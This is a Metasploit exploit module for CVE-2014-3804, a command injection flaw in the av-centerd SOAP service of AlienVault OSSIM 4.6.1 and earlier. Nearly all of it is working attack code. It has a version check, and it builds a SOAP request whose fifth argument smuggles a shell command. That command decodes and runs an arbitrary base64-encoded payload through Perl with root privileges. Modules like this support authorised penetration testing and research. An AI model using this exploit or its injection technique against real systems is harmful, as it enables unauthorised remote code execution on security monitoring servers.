##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include REXML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'AlienVault OSSIM av-centerd Command Injection',
        'Description' => %q{
          This module exploits a code execution flaw in AlienVault 4.6.1 and
          prior.  The vulnerability exists in the av-centerd SOAP web service,
          where the update_system_info_debian_package method uses perl backticks
          in an insecure way, allowing command injection. This module has been
          tested successfully on AlienVault 4.6.0.
        },
        'Author' => [
          'Unknown', # From HP ZDI team, Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2014-3804'],
          ['BID', '67999'],
          ['ZDI', '14-202'],
          ['URL', 'http://forums.alienvault.com/discussion/2690']
        ],
        'Privileged' => true,
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Payload' => {
          # 'BadChars'   => "[;`$<>|]", # Don't apply bcuz of the perl stub applied
          'Compat' => {
            'RequiredCmd' => 'perl netcat-e openssl python gawk'
          }
        },
        'DefaultOptions' => {
          'SSL' => true
        },
        'Targets' => [
          [ 'AlienVault <= 4.6.1', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2014-05-05',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(40007)
      ]
    )
  end

  def check
    res = send_soap_request('get_dpkg')

    return CheckCode::Unknown('Connection failed') unless res

    version = ''
    if res.code == 200 &&
       res.headers['SOAPServer'] &&
       res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
       res.body.to_s =~ /alienvault-center\s*([\d.]*)-\d/

      version = ::Regexp.last_match(1)
    end

    return CheckCode::Safe if version.blank?

    if version >= '4.7.0'
      return CheckCode::Safe("AlienVault version #{version} is not vulnerable")
    end

    CheckCode::Appears("AlienVault version #{version} appears vulnerable")
  end

  def exploit
    send_soap_request('update_system_info_debian_package', 1)
  end

  def build_soap_request(method)
    xml = Document.new
    xml.add_element(
      'soap:Envelope',
      {
        'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
        'xmlns:soapenc' => 'http://schemas.xmlsoap.org/soap/encoding/',
        'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema',
        'soap:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/',
        'xmlns:soap' => 'http://schemas.xmlsoap.org/soap/envelope/'
      }
    )
    body = xml.root.add_element('soap:Body')
    m = body.add_element(
      method,
      {
        'xmlns' => 'AV/CC/Util'
      }
    )
    args = []
    args[0] = m.add_element('c-gensym3', { 'xsi:type' => 'xsd:string' })
    args[1] = m.add_element('c-gensym5', { 'xsi:type' => 'xsd:string' })
    args[2] = m.add_element('c-gensym7', { 'xsi:type' => 'xsd:string' })
    args[3] = m.add_element('c-gensym9', { 'xsi:type' => 'xsd:string' })
    (0..3).each { |i| args[i].text = rand_text_alpha(4..7) }

    if method == 'update_system_info_debian_package'
      args[4] = m.add_element('c-gensym11', { 'xsi:type' => 'xsd:string' })
      perl_payload = 'system(decode_base64'
      perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
      args[4].text = rand_text_alpha(4..7).to_s
      args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'"
    end

    xml.to_s
  end

  def send_soap_request(method, timeout = 20)
    soap = build_soap_request(method)

    send_request_cgi({
      'uri' => '/av-centerd',
      'method' => 'POST',
      'ctype' => 'text/xml; charset=UTF-8',
      'data' => soap,
      'headers' => {
        'SOAPAction' => "\"AV/CC/Util##{method}\""
      }
    }, timeout)
  end
end